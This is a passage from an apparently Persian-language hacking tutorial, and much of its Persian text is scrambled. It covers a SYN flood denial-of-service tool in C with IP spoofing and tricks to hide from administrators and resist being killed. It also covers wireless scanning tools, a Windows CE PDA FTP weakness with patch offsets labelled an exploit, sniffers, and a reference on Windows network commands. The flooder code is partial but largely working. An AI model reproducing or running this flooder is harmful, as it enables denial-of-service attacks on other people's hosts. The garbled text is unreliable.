-v verbose mode (use twice for more verbosity) 
host(s) are target hosts (ignored if using -c) 

  
ل   دارد  وجودDDoS در مه یگرید یاه روش ار Ping مث ا  یروش  ای و دي کن امتحان  مه  را اه آن اه  روش رگ ید ای  مرگب ام   ب  SYN ن

Floodبرنامه  کد کی از یقسمت استه روش نیتر متداول از یکی که SYN Floodاست ریز شکل به .  
 

/* Syn Flooder 
* TCP Functions by trurl_ (thanks man). 
* Some more code by Zakath. 
* Speed/Misc Tweaks/Enhancments — ultima 
* Nice Interface — ultima 
* Random IP Spoofing Mode — ultima 
* How To Use: 
* Usage is simple. srcaddr is the IP the packets will be spoofed from. 
* dstaddr is the target machine you are sending the packets to. 
* low and high ports are the ports you want to send the packets to. 
* Random IP Spoofing Mode: Instead of typing in a source address, 
* just use '0'. This will engage the Random IP Spoofing mode, and 
* the source address will be a random IP instead of a fixed ip. 
* Released: [4.29.97] 
* To compile: cc -o synk4 synk4.c 
* 
*/ 
#include <signal.h> 
#include <stdio.h> 
#include <netdb.h> 
#include <sys/types.h> 
#include <sys/time.h> 
#include <netinet/in.h> 
#include <linux/ip.h> 
#include <linux/tcp.h> 
/* These can be handy if you want to run the flooder while the admin is on 
* this way, it makes it MUCH harder for him to kill your flooder */ 
/* Ignores all signals except Segfault */ 
// #define HEALTHY 
/* Ignores Segfault */ 
// #define NOSEGV 
/* Changes what shows up in ps -aux to whatever this is defined to */ 
// #define HIDDEN "vi .cshrc" 
#define SEQ 0x28376839 
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min)) 
unsigned long send_seq, ack_seq, srcport; 
char flood = 0; 
int sock, ssock, curc, cnt; 
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/* Check Sum */ 
unsigned short 
ip_sum (addr, len) 
u_short *addr; 
int len; 
{ 
register int nleft = len; 
register u_short *w = addr; 
register int sum = 0; 
u_short answer = 0; 
while (nleft > 1) 
{ 
sum += *w++; 
nleft -= 2; 
} 
if (nleft == 1) 
{ 
*(u_char *) (&answer) = *(u_char *) w; 
sum += answer; 
} 
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ 
sum += (sum >> 16); /* add carry */ 
answer = ~sum; /* truncate to 16 bits */ 
return (answer); 
} 
void sig_exit(int crap) 
{ 
#ifndef HEALTHY 
printf("_[H_[JSignal Caught. Exiting Cleanly.\n"); 
exit(crap); 
#endif 
} 
void sig_segv(int crap) 
{ 
#ifndef NOSEGV 
printf("_[H_[JSegmentation Violation Caught. Exiting Cleanly.\n"); 
exit(crap); 
#endif 
} 
unsigned long getaddr(char *name) { 
struct hostent *hep; 

  
ار  قصد که یسانیبرنامه نو یبرا کل در دباشن یم ناقص اهکد نیا سوءاستفاده رگونهه از یريجلوگ تهج ر  ک  حملات  نحوه  نی ا یرو ب

   ماننده زينDoS  ی براGUI برنامه باشند چند یم تامل قابل اه کد نیا دارند
1: Yours 
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2: Shut Up 
 
3: BitchSlap 

تفاده  یستی با خود  یاه  شبکه  تي امن تست یابزار برا نیا از است تذکر به لازم– باشند یم موجود ستنده استفاده قابل ندوزیو در که  اس
زار  کل  باشد در  یم  شما  دهه ع بر یخرابکار گوه رهت يمسول نصورتیا ريغ در دیينما ه  و اه  اب ه ه از و اه  برنام د   مه م م ر مت  و اهت

ال  یاهخسارت  گوه ره از یريجلوگ تهج دیريبگ رههب زين اهآن از ديتوان یم که دارد وجود ن حوزهیا در یشمار یب یاه روش  یاحتم
ا هرا مقدار نيمه به اه متد نیا ار نامناسب یريگ بکار از یناش ه  يزم در اه  یینم اء DDoS ن نم  یم  اکتف  ته ج در شهي مه دوارمي ام– ک

  . دينکن عمل اهTerminator مانند ه و دیينما استفاده خود علم از یسازندگ
  
  
وذگر  کی ميسيب یاه شبکه یاه مکان کردن دايپ تهج درNetStumbler مثل  اه ابزار گونه نیا ییتوانا شیافزا یبرا د  یم  نف  از توان
تفاده  ميمستق تهج در مي سیب اه رابط تمرکز تهج یمواز یاه آنتن ابع  از یک ی دی نما اس ه  یاصل  من  در ی شمار یب  اطلاعات  شامل  ک
 . استBay Area Wireless Group باشد  یم ميمستق ی اه آنتن ی نهيزم
  

  : مهم نکته
  یاه نام به کننده اسکن یاه برنامهWireless که بخش در مهم ابزار ارهچ ديباش داشته اديب شهيمه
  

 1- Netstumbler 
 2- Ethereal 
 3- AiroPeek 
 4- Kismet 

 به یشاخا ریز ميس یب یاه شبکه که حوزه در. ند هد یم قرار شما ارياخت در را یخاص امکانات اه برنامه نیا رکدام ازه باشند ی م
 به توجه با زين ن مبحثیا خود است یبررس قابل زين اينوک مختلف ی اه یسر یاه لیموبا که به خصوص زين اريس یاه تلفن که منا

اگون  یاه  مدل اوت  اه  دستگاه  نی ا گون ر  بحث – باشد  یم  متف ه  من  لی موبا یاه   دستگا یرو ب  له يبوس  لی موبا یاههدستگا  که  جمل
Scriptتفاده   زي ن ميس  یب  یاه  شبکه  در زي ن تيامن تست یاه برنامه از ديتوان یم ظمن پرداخت در ميهخوا آن به گرید یمجال در را اس

  :جمله  من دیينما
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GFI Languard SecurityScanner 

  
  : نکته چند
ورد  فرض  شيپ طور به که را ییاه SSID از یبعض ديتوان یم اوقات شتريب در تفاده  م رار  اس د يگ یم  ق تفاده  را رن  بيآس  از دیي نما اس
شده  رمز  یاه  شبکه کيتراف نيمچنه وRF م يحج و یطولان ارتباطات جمله از یاه یریپذ ه  یک یزيف یدسترس – ن زار  ب  شبکه  یاه  اب
تن  ای اهAccess point مثل  اه ابزار اه شرکت دینبا مثال طور به تواند باشد یم خطرناک اريبس که ميس یب یاه تنده  اه  آن  در را فرس

د هد قرار ترسدس در و دید معرض وط  مطالب . ن ه  مرب ز MAC Address ک ه  ب ه  نی ا سطح  از فرارت تان  باشد  یم  مقال ه  یدوس ا  ک  ب
د  یم  ستنده من علاقه نهيزم نیا در یشتريب اطلاعات ه ينزمیا در سکوي س شرکت  یاه  White paperاز  توانن تفاده  ن د  اس ه  کنن  طور  ب

 دنبال به موضوع نیا از هیآگا از بعد ديتوان یم  استیمدل چه با و یشرکت چه از ییویراد امواج سازنده که دیببر یپ دهيبخوا اگر مثال
  . ديکن استفادهMAC Address  ییشناسا از دي توانیم امر نیا یبرا دیبرو نوع آن یاه یریپذ بيآس
 

#!/usr/bin/perl 
my %cards; 
my %ips; 
open(ARP,"arp -an|") || die "Couldn't open arp table: $!\n"; 
print "Looking up OUIs."; 
while(<ARP>) { 
chomp; 
my $addr = $_; 
my $ip = $_; 
$addr =~ s/.* ([\d\w]+:[\d\w]+:[\d\w]+):.*/$1/; 
$addr =~ s/\b([\d\w])\b/0$1/g; 
$addr =~ s/:/-/g; 
next unless $addr =~ /..-..-../; 
$ip =~ s/.*?(\d+\.\d+\.\d+\.\d+).*/$1/; 
print "."; 
$cards{$addr}||=`curl -sd 'x=$addr' http://standards.ieee.org/cgi-bin/[RETURN]ouisearch`; 
($cards{$addr} =~ /Sorry!/) && ($cards{$addr} = "Unknown OUI: $addr"); 
$ips{$ip} = $addr; 
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} 
print "\n"; 
for(keys(%ips)) { 
$cards{$ips{$_}} =~ s/.*.hex.\s+([\w\s\,\.]+)\n.*/$1/s; 
print "$_ -> $cards{$ips{$_}}\n"; 
} 

  
  است انینما ریز بصورت آمده بدست جینتا اهکد یاجرا از بعد

 
rob@florian:~$ perl machines.pl 
Looking up OUIs......... 
10.15.6.98 -> Compaq Computer Corporation 
10.15.6.44 -> Aironet Wireless Communication 
10.15.6.64 -> Aironet Wireless Communication 
10.15.6.49 -> APPLE COMPUTER, INC. 
10.15.6.75 -> Netgear, Inc. 
10.15.6.87 -> APPLE COMPUTER, INC. 
10.15.6.62 -> Senao International Co., Ltd. 

  
ه  ديتوان یم سادهPing کی با دارد رقرا شماSub Domain در یکس چه که ديمهبف دهيبخوا شبکه ریمد عنوان به دیشا  یپ  مطلب  نی ا ب
  . ديکن استفادهIpconfig دستور  اه آدرس از اطلاع یدارند برا قرار شما دامنه در یکسان چه که دیببر

 
rob@florian:~$ ifconfig eth0 
eth0 Link encap:Ethernet HWaddr 00:40:63:C0:AA:4B 
inet addr:10.15.6.1 Bcast:10.15.6.255 Mask:255.255.255.0 
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 
RX packets:13425489 errors:0 dropped:33 overruns:0 frame:0 
TX packets:19603221 errors:1118 dropped:0 overruns:0 carrier:0 
collisions:0 txqueuelen:100 
RX bytes:3073225705 (2930.8 Mb) TX bytes:1301320438 (1241.0 Mb) 
Interrupt:10 Base address:0xe800 
rob@caligula:~$ ifconfig en1 
en1: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 
inet6 fe80::230:65ff:fe03:e78a%en1 prefixlen 64 scopeid 0x5 
inet 10.15.6.49 netmask 0xffffff00 broadcast 10.15.6.255 
ether 00:30:65:03:e7:8a 
media: autoselect status: active 
supported media: autoselect 

  
  ندهد یم پاسخ اه نيماش شتريب ديکن یم ملاحظه که مانطوره
 

rob@caligula:~$ ifconfig en1 
en1: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 
inet6 fe80::230:65ff:fe03:e78a%en1 prefixlen 64 scopeid 0x5 
inet 10.15.6.49 netmask 0xffffff00 broadcast 10.15.6.255 
ether 00:30:65:03:e7:8a 
media: autoselect status: active 
supported media: autoselect 

  
ه  از ن بخش یا یبرا که را یمطالب از یاريبس که کنم اشاره مطلب نیا به دیبا بخش نیا آخر در ه  نظر  در مقال رده  یآور جمع  و گرفت  ک
 نيمچنهو  اه ابزار ینيمچنه و اه کد مقدار نمودم حذف و اوردهين انيم به مقاله یحجم و یحوصله علم از بودن رونيب علت به را بودم
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اه  چند ره یاشارات مطالب از یاريبس به نستمت نتواهج نیبد است تصور قابل ريغ ميس یب یاه شبکه در که یاه روش نم  کوت  یول  ک
 تيامن حوزه در مختصر چند ره یمقولات و شبکه یا هیپا مهيمفا از یبعض با با دوستان کردن آشنا مقاله نیا از نگارش من دفه کل در
 شده  ارائه یاه یینماهرا به توجه با دست نیا از یمقولات بودن روز به نيمچنهو  یگستردگ به توجه با محترم خوانندگان است ديام بود
ون  مه  از اگر و دبودهم خوايس یب یايدن ندهیآ یايدن من اعتقاد به بپردازند نهيزم نیا در یشتريب قاتيبه تحق خود ه  اکن الا  فکر  ب ردن  ب  ب
د  در که افتاد دهخوا یاتفاق مانهم ينباش نهيزم نیا در معلوماتمان سطح ه  گذشته  سال  چن ا ا عدم  علت  ب ه  يدر زم لازم یاه  هیگ  درIT ن
ود  نهيزم نیا در یا ههد چند یکیتکتولوز اختلاف با رانیا یماندگ عقب مانه نیا و بپوست بوقوع رانیا زمانیعز کشور وز ه ب  دهی پد ن

Wireless حوزه  در یريشتابگ نظر از خودش دوران آغاز در ITرا خودمان ميتوان یم میبپرداز تيفعال به الان نيمه از اگر باشد یم 
 دي تول از یک ی زي ن خود  بلکه  مينباش  ميس یب یآور فن ییاهن کننده محصول استفاده کی اهتن نه و ميکن مگامه ورهنوظ بایتقر دهیپد نیا با

 و نيچ و لیبرز ماننده ییاه م کشورهيد اختصاص خود به را یانهج بازار از یاندک مهس اگر چند ره ميباش ميس یمحصولات ب کنندگان
را  راه نی ا مودن يپ جز  هی را زي ن ما و اند دهيرسIT  یاهنه يزم از یاريبس در ییخودکفا به یحد تا دنه د  یب ه  شدن  لیتب درت  کی  ب  ق
ه  نه ندهد ینسبت م یاطلاعات یاه یتکنولوژ داشتن به را ندهیآ در اه قدرت گسترش داشت صاحبنظران مهينخوا یانهج ر  ب  یاه  یبرت

ه  گذرا هینگا قدرت اگر یمساو علم : ندیگو یم که صورت نیا به ینظام وژ  دي تول چرخه  ب ا  یتکنول داز يب مه  ب ه  مطلب  نی ا مه ف مین  ب
  .شود یان مینما یخوب

 
Data �Information � Knowledge �Technology � قدرت 

  
ه  اگر  ییدرجا اگر یحت شود یم وارد ییاهن محصول شهيمه رانیا ما کشور در ا   شود یم  گفت وژ  فلان  م ه  را یتکنول  از کامل  طور  ب

ثلا  داد ندهنخوا ما به را یقبل پروسه 3 گاه چهي مزبور یاه کشور که است چرا یگزاف حرف میا نموده وار کشور فلان ا  م ا  م  دي د تولیش
 ميس  یب  صنعت  در زي ن رانیا است ديام خودرو صنعت ماننده میا نبوده آن یکيالکترون بورد طراح گاه چهي یول مي باشMobile کننده 

  .کند دايپ دست ییاهن ک محصولی ديتول پروسه ارهچ ره به
  
  
  
  
  
  
  
  
  
  
  
  
  
 

PDA for Hackin g 
  
وت  کی  ما شامل  نگيکه یاه ابزار حال به تا. ديباش نشده خسته مقاله از قسمت نیا تا دوارم کهيام ا  ميس  یب  بوک  ن تن  ب  نيمنچن ه و آن
ا  باشه  سخت یمقدار زاتهيتج نیا ههيت دیشا که کنميم فکر یول... و PCMCIA مثل  اجزا گرید ا  ت ه  مه  ییآنج تن   یم  ک م آن  یاه  دون

 و سته  یدولت  بخش  در متمرکز  شتري ب مخابرات که نیل ايدل به رانیا مثل ییاه کشور در خصوص به اه تيفعال ليقب نیا مخصوص
وگ  زاتهي تج نی ا گذاشتن ارياخت در از یدولت خاطر مسائل به اه دولت مه اغلب د  یم  یريجل ا  در کنن ا حدود   وضع  مه  اروپ ه  مه  یت  ب

تن   و بوک  نوت جمله من ابزار ليقب نیا ههيت نکهیا با است منوال نيمه زار  از یبعض  یول  شوند  یم  ههي ت یبراحت  و آزاد اه آن  یاه  اب
نم  یم فکر ستين عموم در دسترس آنجا در مه تر شرفتهيپ تن  مون ه یحت  رانی ا در ک اده  یاه  آن  یول .. نباشه  مگان ه م دردسترس ه  س

 که دي کنیم سوال دیبپرداز ميس یب که به مه اه آنتن ليقب از ییاه ابزار از استفاده د بدونيتوان یم مه نوزه اند نشده بسته اه راه یتمام
ست ينم حال  به تا دی شا PDAاست  ساده ؟جواب چطور شه  دکهيدون ا   ب د ه مه  اه PDA ب ه  یزات هيتج مانن الا  در ک ردم  ذکر  ب ا یتقر ک ه  ب  ب

از  یول  داره وجود  ییاه  تیمحدود البته دیشد آشناmininetstumbler از  استفاده با گذشته بخش پرداخت در اه تيفعال مونه  از مه  ب
نم  ینم  فکر  دي کن ههي ت را ری ز یاه ابزار شروع یبرا. کردم  ههيت نهيزم نیا در شما یبرا مه گرید مثال چند . ستشه ترهب زيچ چهي  ک
  : راست به چپ سمت از بيترت به. داشت  ندهخوا $ 350 حدود در یمتيق مه یرو بر در کل باشند شتهدا ییبالا یاه متيق
 

iPAQ – Sleeve – NIC - WNIC 
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  : نفوذ ی اه روش
١-  FTPدر یمخف سرور)  PDA در  باشد ادتانی اگر PDAعامل ستميس از یامروز اه Windows CEه  شود  یم  استفاده  یدارا ک
 شده  ميمق  یاه  برنامه ستيل در – ندارد کاربر ییشناسا یتيامن پروسه  بهیازين  کهFTPsrv.exe جمله از باشد یم ییاه یریپذ بيآس
  شود یم باز مه 21 پورت یرو بر که تیرو قابل نماد یداراPDA  یاه لیفا یتمام به کامل یدسترس -رديگ ینم قرار حافظه در
  

  
 
  

  :FTP  یبرا یتیاکسپلو
 

• Locate window Icon functions (DEMO START) 
• Shell_NotifyIcon – This function sends a message to the system to 
add, modify, or delete an icon from the taskbar status area. 
– Shell_NotifyIcon( 
DWORD dwMessage, 
PNOTIFYICONDATA pnid ); 
• dwMessage 
– NIM_ADD, NIM_MODIFY , NIM_DELETE 
• Shellapi.h 
– #define NIM_ADD 0 
– #define NIM_MODIFY 1 
– #define NIM_DELETE 2 
• 00013AC8 – Shell_NotifyIcon Create 
– MOV Shell_NotifyIcon MOV R0, R0 
– 3A 01 00 EB 00 00 A0 E1 
– 00013AC8 2EC8 
• 00013B18 – Shell_NotifyIcon Delete 
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– BL Shell_NotifyIcon MOV R0, R0 
– 26 01 00 EB 00 00 A0 E1 
– 00013B18 2F18 
• 0001694C – Change Port 
– 0x15 = 21 ?? (0x2D = 45) 
– 0001694C 454C 

  
  :از  عبارتندWin CE Mobiles در  اه  دادهSniff  یاه ابزار

 
vxSniffer, Airscanner Sniffer, CEniffer 

  
  است ؟؟ ما شPDA در  من یاه پسسوورد ایآ

  

  
  

   :یگر نفوذ اتيعمل یبراPDA گر ید یاه ییتوانا
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  .یک آشنایی کوچولو با ابزار های همراه با خود سيستم عامل ویندوز : اهداف 
  

 .آموزش دستور های  مربوط به شبکه همراه با ویندوز : فصل هجدهم  
  

  .NETآموزش و معرفی دستورهای  
  

 Net accountsمعرفی دستور  
 Net computerمعرفی دستور  
 Net configمعرفی دستور  
 Net continueمعرفی دستور  
 Net diagمعرفی دستور  
 Net fileمعرفی دستور  
 Net groupمعرفی دستور  
 Net helpمعرفی دستور  
 Net helpmsgمعرفی دستور  
 Net initمعرفی دستور  
 Net localgroupمعرفی دستور  
 Net nameمعرفی دستور  
 Net logoffمعرفی دستور  
 Net logonمعرفی دستور  
 Net passwordمعرفی دستور  
 Net pauseمعرفی دستور  
 Net printمعرفی دستور  
 Net sendمعرفی دستور  
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 Net sessionمعرفی دستور  
 Net shareمعرفی دستور  
 Net startمعرفی دستور  
 Net statisticsمعرفی دستور  
 Net stopمعرفی دستور  
 Net timeمعرفی دستور  
 Net useمعرفی دستور  
 Net userمعرفی دستور  
 Net verمعرفی دستور  
 Net viewمعرفی دستور  

 
  .Pingآموزش و معرفی دستور  
  .Tracertآموزش و معرفی دستور  
  .Telnetآموزش و معرفی دستور  
  .Routeآموزش و معرفی دستور  
  .Netstatآموزش و معرفی دستور  
  .Ipconfigو معرفی دستور آموزش  
  .Nbtstatآموزش و معرفی دستور  
  .Getmacآموزش و معرفی دستور  
  .ARPآموزش و معرفی دستور  
  .Disk Partآموزش و معرفی دستور  
  .SchTasks آموزش و معرفی دستور 
  .REGآموزش و معرفی دستور  
  .SCآموزش و معرفی دستور  
 EventQueryآموزش و معرفی دستور  
  .Convertموزش و معرفی دستور آ 

 
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

شارات   وان      Microsoft Pressانت ابی تحت عن ازگی کت ه ت ن      Microsoft Windows Command-Line ب ه ای رده است ک شر ک  منت
ه است                        دوز پرداخت ستم عامل وین انی سي شریح کامل دستوراتی خط فرم ده ای از دستورات مو        . کتاب به ت ر چکي از  دستورات زی رد ني

  !!! است نان شبکه و البته هکرمدیرا
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   :NETدستورهای 
  

شان داده ام                            دوز ن ایی وین سخه ه ان را در ن ه قابليت اجرای آن فرم ود علامت   (که تمام فرمان های آن را توضيح دادم در جدول ؛ البت نب
  ) :نشان نا توانایی برای اجرا برای آن نسخه است 

  
  توضيح عملکرد فرمان XP 2000ME NT 9x  عنوان فرمان  
١  Net accounts Җ  Җ  –  Җ  –   تنظيمات و سياستهای همه نامهای کاربری یک رایانه یا

  .دامنه خاص را پيکر بندی ميکند
٢  Net computer Җ  Җ  –  Җ  –  از دامنه جاری رایانه ها را حذف یا اضافه ميکند.  
٣  Net config Җ  Җ  Җ  Җ  Җ  ایش ميدهداطلاعات سرویس گيرنده شبکه را نم.  
۴  Net continue Җ  Җ  –  Җ  –  راه اندازی یک سرویس تعليق شده.  
۵  Net diag  –  –  Җ  –  Җ  نمایش اطلاعات مفيدی درباره سخت افزار اتصالات شبکه.  
۶  Net file Җ  Җ  –  Җ  –   فایلهای مشترک بين کاربران شبکه را به نمایش در می

  .آورد و ميبندد ، و قفل فایل ها را بر می دارد
٧  Net group Җ  Җ  –  Җ  –   گروهای سراسری ایجاد یا حذف می کند و کاربران را با

  .آن گروه ها اضافه  ، یا از آن حذف ميکند
٨  Net help Җ  Җ  Җ  Җ  Җ   اطلاعات کمکی در باره زیر فرمانNET خاص را به 

  .نمایش در می آورد
٩  Net helpmsg Җ  Җ  –  Җ  –  اطلاعات اضافی درباره یک کد خطای چهار رقمی خاص 

  .به نمایش در می آورد
١٠ Net init –  –  Җ  –  Җ   بارگذاری  درایورهای مربوط به پروتکل و کارت شبکه

 Windowsمورد استفاده بدون بهره گيری از برنامه 
Protocol Manager.  

١١ Net localgroup Җ  Җ  –  Җ  –  گروهای محلی ایجاد ميکند و کاربران را به آن اضافه  یا از 
  .آنها حذف می کند

١٢ Net name Җ  Җ  –  Җ  –   تعریف نام مستعار جدیدی برای ارسال پيغام.  
١٣ Net logoff –  –  Җ  –  Җ   خاتمه جلسه مابين رایانه  حاضر و رایانه حاوی منابع

  .مشترک
١۴ Net logon –  –  Җ  –  Җ   اتصال به حوزه یا گروه کاری مورد نظر.  
١۵ Net password –  –  Җ  –  Җ  کلمه عبور کاربری از شبکهرييتغ .  
١۶ Net pause Җ  Җ  –  Җ  –  تعليق یک سرویس در حال اجرا.  
١٧ Net print Җ  Җ  Җ  Җ  Җ   دستيابی به اطلاعاتی در مورد وضعيت صف مربوط به

  .چاپگر متصل به یک رایانه خاص و کنترل آن 
١٨ Net send Җ  Җ  –  Җ  –  ر روی شبکهارسال پيغام به کاربر یا کامپيوتر دیگری ب.  
١٩ Net session Җ  Җ  –  Җ  –   نمایش و یا خاتمه جلسات ما بين رایانه حاضر و سایر

  .رایانه های موجد در شبکه
٢٠ Net share Җ  Җ  –  Җ  –   ایجاد ، حذف و نمایش یک منبع مشترک.  
٢١ Net start Җ  Җ  Җ  Җ  Җ  راه اندازی یک سرویس خاص.  
٢٢ Net statistics Җ  Җ  –  Җ  –   آماری درباره یک سرور یا ایستگاه کارینمایش.  
٢٣ Net stop Җ  Җ  Җ  Җ  Җ  توقف یک سرویس خاص.  
٢۴ Net time Җ  Җ  Җ  Җ  Җ   نمایش زمان جاری یا تنظيم زمان با سروری تحت عنوان

time server که به همين منظور تدارک دیده ١٣ پورت 
  .شده است

٢۵ Net use Җ  Җ  Җ  Җ  Җ   سيستم حاوی منبع مشترک ؛ اتصال یا قطع اتصال از یک
  .نمایش اطلاعات در مورد منبع مشترک
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٢۶ Net user Җ  Җ  –  Җ  –   حذف یا اضافه یک حساب کاربردی از ليست کاربران
  .موجد در شبکه

٢٧ Net ver –  –  Җ  –  Җ   نمایش نسخه مور استفاده از Workgroup redirector.  
٢٨ Net view Җ  Җ  Җ  Җ  Җ  شترک موجد بر روی یک رایانه نمایش ليستی از منابع م

( خاص یا تمام رایانه ها ی موجد در یک زیر شبکه 
   )sub netاصطلاحا 

  
  !!!من فقط کار دستورها را گفتم کاربرد تک تک آنها با خودتان !!! خوب این هم از این 
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   :Pingدستور 
  

شود   . یا پایين بودن یک ماشين است      ) فعال بودن ماشين   ( این دستور برای تشخيص بالا     ه مي ن دستور بدست       IPالبت ا ای  یک سایت را ب
د         IPمعمولا شماره   ( آورد البته زیاد جالب نيست       ه آدرس سایت را  نوشت و      )  ماشين سرویس دهنده وب را ميده  سایت را کشف   IPک

  !!کرد 
  

  .شاهده ميکنيددارای یک سری سویچ است که توضيحات آن را م
  

  .آنقدر مقصد را پينگ ميکند تا شما تا اینکه شما دستور توقف را صادر کنيد  : t–سویچ 
  . مقصد را به اسم ميزبان تبدیل ميکندIPآدرس  : a–سویچ 
  .تعداد بسته هایی را که فرستاده ميشود مشخص ميکند : n–سویچ 
  .خص ميکنداندازه بسته هایی را که فرستاده ميشود مش : l–سویچ 
  . را یک قرار ميدهدIP Do not Fragmentدر بسته های که فرستاده ميشود پرچم  : f–سویچ 
شود   . ( را مشخص ميکندTTLدر بسته هایی که فرستاده ميشود مقدار    : i–سویچ   م مي با عبور بسته شما از هر ماشين یک واحد از آن ک

سته شم                 شود ب ارامتر حذف مي ن پ ان             و در صورت صفر شدن ای انيزم فرم ن مک ا ای ه ب داد         tracert.exeا ؛ ک رای کشف تع د ب ار ميکن  ک
  ).ماشينهای شما و مقصد مور نظرتان

  . مشخص ميکندEcho Request را برای بسته های IP Type of Serviceمقدار  : v–سویچ 
  . مسيریاب ها را برای تعداد هاپ مشخص شده ثبت ميکندIPآدرس  : r–سویچ 
  .زمانی مسيریاب ها را برای تعداد هاپ مشخص شده ثبت ميکندمهر  : s–سویچ 
  .فهرست برخی از مسيریاب ها را که بسته ها باید از آن استفاده کنند را مشخص می کند : j–سویچ 
  .فهرست کل مسيریاب ها را که بسته ها باید از آنها استفاده کنند را مشخص ميکند : k–سویچ 
  .م باید منتظر هر پاسخ بماند را مشخص ميکندمدت زمانی که سيست : w–سویچ 

  
  !!باز هم من فقط پارامتر ها را توضيح دادم و ادامه کار با خودتان 
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   :Tracertفرمان 
  

  .این فرمان برای مشخص کردن مسيری است که برای رسيدن بسته اطلاعاتی شما به هدف مورد استفاده قرار گرفته است
  .رای چهار سویچ است که توضيح آنها در زیر آمده است دا
  

  . ها نشان داده ميشودIPبا استفاده از این سویچ فقط در نمایش نتایج  : d–سویچ 
  . است که کافی است٣٠با استفاده از این سویچ حداکثر تعداد ماشينها را مشخص ميکنيد که البته پيش فرض  : h–سویچ 
  .این سویچ از یک فایل استفاده ميکنيم با استفاده از  : j–سویچ 
  .مدت زمانی که سيستم باید منتظر هر پاسخ بماند را مشخص ميکند : w–سویچ 

  
  
  
  
  
  
  
  
  

   : Telnetدستور 
  

  :این دستور برای وصل شدن به یک پورت خاص است به این صورت که 
C :\> telnet xxx.xxx.xxx.xxx port number  
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   :Routeدستور 
  

د         . ( این فرمان برای مشاهده جدول مسير یابی و اضافه یا حذف کردن اقلام آن است          سته بای د هر ب ين می کن رای تعي ابی ب جدول مسير ی
  !! ).سر از کجا در بی آورد 

ROUTE [-F] [-P] [command [destination] [MASK netmask] [gateway] [METRIC metric] [IF interface] ] 
  

  : یکی از این چهار مقدار را می گيردcommandمتغيير 
  

  . را اضافه کنيد محتوای جدول را مشاهده ميکنيد PRINT–اگر به فرمان سویچ 
-ADD : یک فقره جدید در جدول مسير یابی ایجاد ميکند.  

-DELETE : یک فقره از جدول مسير یابی را حذف ميکند.  
-CHANGE : ز مقادیر جدول مسير یابی را تغيير ميدهدپارامترهای یکی ا.  

  
  :سایر پارامترهای خط فرمان 

-f : همه اغلام جدول مسير یابی را حذف ميکند.  
-p :  اگر همراه سویچaddبه کار رود یک فقره دائمی ایجاد ميکند .  

- destination : شود را مشخص می    آدرس شبکه یا ميزبان فقره های از جدول مسير یابی که اضافه یا حذف ميش ود و یا تغيير داده مي
  .کند

- MASK netmask :  ماسک زیر شبکه متناظر با آدرس مشخص شده توسط متغيرdestinationرا مشخص ميکند .  
- gateway :  آدرس مسير یابی که برای دستيابی به آدرس ميزبان یا شبکه مشخص شده توسط متغيرdestination     ه است ار رفت ه ک  ب
  .ميکندرا مشخص 
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 ٨٦٢    صفحه

   :Netstatفرمان 
  

  :خوب این فرمان شکل عمومی آن به صورت زیر است 
NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]  

  
  توضيحات سویچ  سویچ  
١  -a  در وضعيت شنود تمامي پورت هایي که (listening) صالاتبه سر ميبرند به همراه بقيه ات (connections)  نشان

  .مي دهد
٢  -e  آمار اترنت (Ethernet) را نشان مي دهد. 
٣  -n  پورت ها را به فرم عددي نشان مي دهد آدرس ها و اعداد.  
۴  -s  تمامي اتصالت (connections) مربوط به پروتکلي که توسط proto دهد مشخص شده را نشان مي. 
۵  -p proto  مسير یابي ولتمامي محتویات جد (routing table) را نشان مي دهد. 
۶  -r  در حالت پيش گزیده آمار پروتکل هاي. نشان مي دهد آمار هر پروتکل را TCP،UDPو IP شود نشان داده مي. 
٧  interval  مجددا به نمایش در مي آورد آمار انتخابي را. 

  
  
  
  
  
  
  
  
  
  
  

   :Ipconfigدستور 
  

  !!تابلو .   به کار ببرید ،،، خوب به بينيد چه ميشودall/امتر خوب اگر دستور را با پار
اری از سرویس          renew/ و   release/اگر دستور را با پارامتر       ستگاه ک د اجاره  یک ای ا تمدی ه دادن ی   به کار ببرید برای تقاضای خاتم

DHCPهم ميتوان استفاده کرد .  
  .امتر ها را مشاهده می کنيد به کار ببرید ليست پارH–اگر دستور را با پارامتر 
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 ٨٦٣    صفحه

   :Nbtstatفرمان 
  

هنگام کنترل کننده های تعيين دامنه و یا سرویس دهنده هدف قادر به بکارگيری این فرمان خواهيم بود تا جدول اسامی را از سرویس 
  .ف است و کلا جهت تشخيص اطلاعات مفيد در باره سرویس دهنده هد. دهنده هدف بدست آوریم

  
C:\>nbtstat 
 
Displays protocol statistics and current TCP/IP connections using NBT 
(NetBIOS over TCP/IP). 
 
NBTSTAT [ [-a RemoteName] [-A IP address] [-c] [-n] 
        [-r] [-R] [-RR] [-s] [-S] [interval] ] 
 
  -a   (adapter status) Lists the remote machine's name table given its name 
  -A   (Adapter status) Lists the remote machine's name table given its 
                        IP address. 
  -c   (cache)          Lists NBT's cache of remote [machine] names and their IP 
 addresses 
  -n   (names)          Lists local NetBIOS names. 
  -r   (resolved)       Lists names resolved by broadcast and via WINS 
  -R   (Reload)         Purges and reloads the remote cache name table 
  -S   (Sessions)       Lists sessions table with the destination IP addresses 
  -s   (sessions)       Lists sessions table converting destination IP 
                        addresses to computer NETBIOS names. 
  -RR  (ReleaseRefresh) Sends Name Release packets to WINS and then, starts Refresh 
 
  RemoteName   Remote host machine name. 
  IP address   Dotted decimal representation of the IP address. 
  interval     Redisplays selected statistics, pausing interval seconds 
               between each display. Press Ctrl+C to stop redisplaying 
               statistics.  

  
  
  
  
  
  
  
  
  
  
  
  
  
  

   :Getmac دستور
  

ده  MACاین ابزار نشانی . جهت کسب اطلاعات انتقالی شبکه از سرویس دهنده هدف ميتوان از فرمان مزبور استفاده کرد        سرویس دهن
  . احتياج داردNull Sessionرا به ما نمایش ميدهد و البته به اتصال ... هدف و 
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 ٨٦٤    صفحه

   :ARP دستور
  

(  ان ماشين در زیر شبکه IPماشين های مستقر در یک شبکه اینترنت را با آدرس  ) MAC( این فرمان رابطه بين آدرس فيزیکی 
SUB NET ( آشکار ميکند. 

